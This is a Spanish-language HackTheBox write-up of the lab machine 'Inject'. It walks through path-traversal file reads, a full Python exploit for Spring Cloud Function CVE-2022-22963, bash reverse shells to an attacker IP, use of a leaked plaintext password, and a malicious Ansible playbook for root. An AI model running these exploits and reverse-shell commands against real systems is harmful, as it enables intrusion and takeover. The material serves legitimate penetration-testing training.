Inject

HackTheBox

Inject

LinuxLinux6 de junio de 20268 min
Índice
Información Básica

Técnicas vistas

  • Web Enumeration
  • Local File Inclusion + Directory Listing
  • Information Leakage
  • Spring Cloud Exploitation (CVE-2022-22963) [Spring4Shell]
  • Abusing Cron Job
  • Malicious Ansible Playbook (Privilege Escalation)

Preparación

eWPTOSCP (Escalada)

Reconocimiento

Nmap

Iniciaremos el escaneo de Nmap con la siguiente línea de comandos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.228.213 -oG nmap/allPorts 
ParámetroDescripción
-p-Escanea todos los puertos (1-65535).
--openMuestra solo puertos abiertos.
-sSEscaneo SYN (rápido y sigiloso).
--min-rate 5000Envía al menos 5000 paquetes por segundo para acelerar el escaneo.
-vvvMáxima verbosidad, muestra más detalles en tiempo real.
-nEvita resolución DNS.
-PnAsume que el host está activo, sin hacer ping previo.
-oG nmap/allPortsGuarda la salida en formato grepable para procesar con herramientas como grep o awk.
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Ahora con la función extractPorts, extraeremos los puertos abiertos y nos los copiaremos al clipboard para hacer un escaneo más profundo:

Función de S4vitar
extractPorts () {
	ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
	ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
	echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
	echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
	echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
	echo $ports | tr -d '\n' | xclip -sel clip
	echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
	/bin/batcat --paging=never extractPorts.tmp
	rm extractPorts.tmp
}
nmap -sVC -p22,8080 10.129.228.213 -oN nmap/targeted
ParámetroDescripción
-sVDetecta la versión de los servicios que están corriendo en los puertos abiertos.
-CEjecuta scripts NSE de detección de versiones y configuración.
-pEscanea únicamente los puertos seleccionados.
-oN nmap/targetedGuarda la salida en formato normal en el archivo indicado.
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_  256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web (8080)

Web Image

En este puerto podemos ver una web, lo más interesante lo vemos al darle al botón Upload donde vemos una subida de archivos:

Upload Page

LFI

Vemos que podemos subir archivos, y al subirlo nos lleva a http://10.129.228.213:8080/show_image?img=[IMAGE]. Podemos intentar aprovecharnos de esto, mediante un LFI y un Path Traversal, vamos a probar:

 curl "http://10.129.228.213:8080/show_image?img=../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false

Vemos que funciona sin problema, además listamos los usuarios frank y phil.

Information Leakage

Haciendo un poco de reconocimiento por el sistema encuentro algo insteresante en /var/www/WebApp/pom.xml:

 curl "http://10.129.228.213:8080/show_image?img=../../../../../../../../../var/www/WebApp/pom.xml"
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
  ...

Encontramos la versión 2.6.5 de Spring Framework encontramos el CVE-2022-22963 para esta versión que nos permite RCE.

Explotación

Basándome en dicho script, creamos un script propio para ejecutar comandos:

#!/usr/bin/env python3
"""
CVE-2022-22963 - Spring Cloud Function SpEL RCE
Interactive command execution / reverse shell helper
"""
 
import requests
import sys
import argparse
import base64
import urllib3
 
urllib3.disable_warnings()
 
HEADERS_BASE = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded',
}
 
PATH = '/functionRouter'
 
 
def send_payload(url: str, spel: str) -> requests.Response:
    headers = {**HEADERS_BASE, 'spring.cloud.function.routing-expression': spel}
    return requests.post(
        url=url + PATH,
        headers=headers,
        data='test',
        verify=False,
        timeout=10,
    )
 
 
def exec_cmd(url: str, cmd: str) -> str:
    """
    Execute a command and attempt to read its output via Scanner+InputStream.
    Falls back to showing the raw error if output cannot be parsed.
    """
    safe_cmd = cmd.replace('"', '\\"')
    spel = (
        'new java.util.Scanner('
        'T(java.lang.Runtime).getRuntime().exec('
        f'new String[]{{"/bin/bash","-c","{safe_cmd}"}}'
        ').getInputStream()).useDelimiter("\\\\A").next()'
    )
    try:
        resp = send_payload(url, spel)
        body = resp.text
 
        # Spring error format: "...resolved to 'OUTPUT' function name..."
        marker_start = "resolved to '"
        marker_end = "' function name"
        if marker_start in body and marker_end in body:
            start = body.index(marker_start) + len(marker_start)
            end = body.index(marker_end, start)
            output = body[start:end]
            return output.replace('\\n', '\n').replace('\\t', '\t').replace('\\r', '').strip()
 
        return body
    except requests.exceptions.ConnectionError:
        return '[!] Connection refused'
    except requests.exceptions.Timeout:
        return '[!] Request timed out'
 
 
def reverse_shell(url: str, lhost: str, lport: int) -> None:
    """Send a bash reverse shell payload."""
    # base64-encode the bash command to avoid quoting issues
    bash_cmd = f'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
    b64 = base64.b64encode(bash_cmd.encode()).decode()
    cmd = f'echo {b64}|base64 -d|bash'
 
    safe_cmd = cmd.replace('"', '\\"')
    spel = (
        'T(java.lang.Runtime).getRuntime().exec('
        f'new String[]{{"/bin/bash","-c","{safe_cmd}"}}'
        ')'
    )
    print(f'[*] Sending reverse shell to {lhost}:{lport}')
    print(f'[*] Start listener: nc -lvnp {lport}')
    try:
        send_payload(url, spel)
        print('[+] Payload sent')
    except Exception as e:
        print(f'[-] Error: {e}')
 
 
def interactive_shell(url: str) -> None:
    print(f'[+] Target: {url}')
    print('[+] Interactive shell (Ctrl+C to exit)\n')
    while True:
        try:
            cmd = input('$ ').strip()
        except (KeyboardInterrupt, EOFError):
            print('\n[*] Exiting')
            break
 
        if not cmd:
            continue
        if cmd.lower() in ('exit', 'quit'):
            break
 
        output = exec_cmd(url, cmd)
        if output:
            print(output)
 
 
def get_url(path: str) -> str:
    with open(path) as f:
        for line in f:
            line = line.strip()
            if line:
                return line
    raise ValueError(f'No URL found in {path}')
 
 
def main() -> None:
    parser = argparse.ArgumentParser(
        description='CVE-2022-22963 RCE — Spring Cloud Function SpEL injection',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            'Examples:\n'
            '  Interactive shell using url.txt:\n'
            '    python rce.py\n\n'
            '  Specify target directly:\n'
            '    python rce.py -u http://10.129.228.213:8080\n\n'
            '  Single command:\n'
            '    python rce.py -u http://10.129.228.213:8080 -c "id"\n\n'
            '  Reverse shell:\n'
            '    python rce.py -u http://10.129.228.213:8080 -r 10.10.14.5 4444'
        ),
    )
    parser.add_argument('-u', '--url', help='Target URL (default: first entry in url.txt)')
    parser.add_argument('-c', '--cmd', help='Single command to execute')
    parser.add_argument('-r', '--revshell', nargs=2, metavar=('LHOST', 'LPORT'),
                        help='Send reverse shell to LHOST LPORT')
    args = parser.parse_args()
 
    url = args.url or get_url('url.txt')
    url = url.rstrip('/')
 
    if args.revshell:
        lhost, lport = args.revshell
        reverse_shell(url, lhost, int(lport))
    elif args.cmd:
        print(exec_cmd(url, args.cmd))
    else:
        interactive_shell(url)
 
 
if __name__ == '__main__':
    main()

Y lo ejecutamos:

 python3 rce.py -u http://10.129.228.213:8080 -c "id"
uid=1000(frank) gid=1000(frank) groups=1000(frank)

Vamos a obtener una reverse shell con el siguiente comando:

 python3 rce.py -u http://10.129.228.213:8080 -c "bash -i >& /dev/tcp/10.10.15.143/8888 0>&1"

Escalada de privilegios

Investigando un poco en el directorio /home de frank, encontramos las credenciaes de phil:

frank@inject:~$ ls -la
total 28
drwxr-xr-x 5 frank frank 4096 Feb  1  2023 .
drwxr-xr-x 4 root  root  4096 Feb  1  2023 ..
lrwxrwxrwx 1 root  root     9 Jan 24  2023 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18  2022 .bashrc
drwx------ 2 frank frank 4096 Feb  1  2023 .cache
drwxr-xr-x 3 frank frank 4096 Feb  1  2023 .local
drwx------ 2 frank frank 4096 Feb  1  2023 .m2
-rw-r--r-- 1 frank frank  807 Feb 25  2020 .profile
frank@inject:~$ cd .m2
frank@inject:~/.m2$ ls
settings.xml
frank@inject:~/.m2$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

Probamos las credenciales phil:DocPhillovestoInject123:

phil@inject:/$ whoami
phil
phil@inject:~$ cat user.txt
7388652ac9bd1af2c1a...

Perfecto, ahora solo nos queda root. Usaremos pspy para enumerar procesos dentro de la máquina, vamos a transferir el script:

phil@inject:/$ cd /tmp                        
phil@inject:/tmp$ wget http://10.10.15.143/pspy64
--2026-06-10 18:42:31--  http://10.10.15.143/pspy64
Connecting to 10.10.15.143:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
 
pspy64                         100%[=================================================>]   2.96M   221KB/s    in 24s     
 
2026-06-10 18:42:58 (125 KB/s) - ‘pspy64’ saved [3104768/3104768]
 
phil@inject:/tmp$ ls
hsperfdata_frank
pspy64
systemd-private-58cc0182eab4407a89c57a73595c7944-ModemManager.service-z0h1Nf
systemd-private-58cc0182eab4407a89c57a73595c7944-systemd-logind.service-Iv2fCf
systemd-private-58cc0182eab4407a89c57a73595c7944-systemd-resolved.service-twHIqh
systemd-private-58cc0182eab4407a89c57a73595c7944-systemd-timesyncd.service-7LOebg
tomcat.8080.4470978649777964879
tomcat-docbase.8080.17294993029515873417
vmware-root_732-2999591876
phil@inject:/tmp$ chmod +x pspy64

Ya estaría listo para ejecutar. Encontramos lo siguiente:

2026/06/10 18:46:01 CMD: UID=0     PID=1575   | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
2026/06/10 18:46:01 CMD: UID=0     PID=1571   | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ 

Encontramos Ansible una herramienta para automatizar tareas entre otros. Encontramos que ansible-parallel es un paquete de python usado para correr multiples playbooks en paralelo.

El usuario root esta ejecutando todas las tareas dentro de /opt/automation/tasks con privilegios. Vamos a crear una tarea maliciosa:

playbook_2.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    shell: bash -c 'bash -i >& /dev/tcp/10.10.15.143/4444 0>&1'

Y lo guardamos en /opt/automation/tasks a la vez que nos ponemos a la escucha con nc -lvnp 4444:

 nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.15.143] from (UNKNOWN) [10.129.228.213] 39206
bash: cannot set terminal process group (4236): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# whoami
whoami
root
root@inject:/opt/automation/tasks# cat /root/root.txt
cat /root/root.txt
3eeda3691bc6aeebc19...

Máquina comprometidaPwned! · ver logro en Hack The Box


Relacionados